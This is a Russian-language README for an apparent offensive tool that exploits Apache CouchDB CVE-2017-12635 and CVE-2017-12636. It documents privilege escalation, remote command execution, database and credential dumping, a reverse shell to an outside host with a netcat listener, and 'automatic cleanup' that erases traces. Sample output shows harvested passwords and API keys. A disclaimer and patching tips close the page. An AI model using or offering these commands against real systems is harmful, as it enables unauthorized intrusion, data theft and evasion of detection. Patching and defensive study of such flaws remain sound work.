
Эксплуатирует уязвимости CouchDB CVE-2017-12635/12636 для повышения привилегий и RCE, затем предоставляет интерактивный шелл с выполнением команд, просмотром баз данных и реверс-шеллом.
Этот инструмент эксплуатирует две критические уязвимости в Apache CouchDB:
| CVE | Описание | Критичность |
|---|---|---|
| CVE-2017-12635 | Повышение привилегий через обход JSON-парсера | 🔴 Критический |
| CVE-2017-12636 | Удалённое выполнение кода через Query Server | 🔴 Критический |
curl http://target:5984/
✨ Возможности
✅ Автоматическая эксплуатация - одна команда, чтобы править всеми
✅ Интерактивный shell - удобный командный интерфейс
✅ Просмотр баз данных - просмотр всех баз данных и документов
✅ Полный вывод JSON - просмотр полного содержимого документов
✅ Глобальный поиск - поиск по ключевым словам во всех базах данных
✅ Системные команды - выполнение произвольных команд на целевой системе
✅ Reverse shell - получение полноценного интерактивного shell
✅ История команд - отслеживание своих действий
✅ Автоматическая очистка - удаление следов после эксплуатации
✅ Цветной вывод - легко читать и понимать
📦 Установка Предварительные требования bash
python3 --version
Клонирование и установка bash
git clone https://github.com/darabium/couchdb-exploit.git cd couchdb-exploit
pip install -r requirements.txt
Зависимости txt
requests>=2.25.0 urllib3>=1.26.0
🚀 Использование Базовое использование bash
python3 couchdb-exploit.py -t <TARGET_IP> -p
python3 couchdb-exploit.py -t 192.168.1.100 -p 5984
Параметры командной строки bash
python3 couchdb-exploit.py -h
usage: couchdb-exploit.py [-h] -t TARGET [-p PORT]
arguments: -h, --help show this help message and exit -t TARGET, --target TARGET Target IP address or hostname -p PORT, --port PORT Target port (default: 5984)
💻 Команды
| Command Описание Пример | | db Показать все базы данных с количеством документов db | | view Показать ВСЕ документы в базе данных (полный JSON) view passwords | | raw Показать необработанный ответ сервера raw admin | | count Подсчитать документы в базе данных count users | | search Искать ключевое слово во ВСЕХ базах данных search admin | | exec Выполнить системную команду exec whoami | | reverse Настроить reverse shell reverse 10.0.0.1 4444 | | history Показать историю команд history | | help Показать это меню help | | exit Выйти с очисткой exit |
📊 Примеры
couchdb> db
[+] 39 databases:
_replicator (0 docs)
_users (12 docs)
admin (5 docs)
passwords (25 docs)
core-configuration (8 docs) ...
Просмотр содержимого базы данных bash
couchdb> view passwords
[*] Total documents: 25
couchdb> search password
✅ Found in 'passwords' ID: user1 Content: { "username": "root", "password": "rootpass123" }
✅ Found in 'config' ID: app_settings Content: { "db_password": "secret123", "api_key": "sk_live_abc123" }
couchdb> exec whoami [+] Executing: whoami [+] Command executed!
couchdb> exec id [+] Executing: id [+] Command executed!
nc -lvnp 4444
couchdb> reverse 10.0.0.1 4444 [+] Setting up reverse shell to 10.0.0.1:4444 [!] Make sure listener is running: nc -lvnp 4444 [?] Continue? (y/n): y [+] Reverse shell triggered!
🖼️ Скриншоты Эксплойт в действии
https://via.placeholder.com/800x400?text=Exploit+Demo+Screenshot Просмотр базы данных
https://via.placeholder.com/800x400?text=Database+View Reverse Shell
https://via.placeholder.com/800x400?text=Reverse+Shell ⚠️ Отказ от ответственности
ВАЖНО: Этот инструмент предназначен только для образовательных целей и авторизованного тестирования.
🚫 Не используйте на системах без явного разрешения
🚫 Автор не несёт ответственности за любое неправомерное использование
🚫 Используйте только в контролируемых средах или на собственных системах
✅ Всегда получайте письменное разрешение перед тестированием
✅ Соблюдайте практику ответственного раскрытия уязвимостей
Используя этот инструмент, вы соглашаетесь с этими условиями. 🔐 Советы по безопасности
Если вы системный администратор:
Немедленно обновите CouchDB до версии ≥ 1.7.0 или ≥ 2.1.1
Используйте брандмауэр для ограничения доступа к порту 5984
Включите аутентификацию и используйте надёжные пароли
Отслеживайте журналы на предмет подозрительной активности
Регулярно проводите аудит безопасности вашей инфраструктуры
Быстрое исправление bash
sudo apt-get update sudo apt-get install couchdb=2.1.1 # Or latest version
sudo ufw allow from 192.168.1.0/24 to any port 5984
📚 Ссылки
CVE-2017-12635 - NVD
CVE-2017-12636 - NVD
Безопасность Apache CouchDB
Exploit-DB
👤 Автор
darabium
GitHub: @darabium
Telegram: @darabium
⭐ Поддержка
Если вы нашли это полезным:
⭐ Поставьте звезду репозиторию
🐛 Сообщайте об ошибках
🔧 Вносите улучшения
📢 Делитесь с другими
📄 Лицензия
Этот проект лицензирован в соответствии с MIT License — подробности см. в файле LICENSE.
Сделано с ❤️ для исследований в области безопасности
⬆ Наверх
| Версия | Уязвима | Исправленная версия |
|---|
| Apache CouchDB < 1.7.0 | ✅ Да | 1.7.0 |
| Apache CouchDB 1.x.x | ✅ Да | 1.7.0 |
| Apache CouchDB 2.0.0 | ✅ Да | 2.1.1 |
| Apache CouchDB 2.1.0 | ✅ Да | 2.1.1 |
| Apache CouchDB ≥ 2.1.1 | ❌ Нет | - |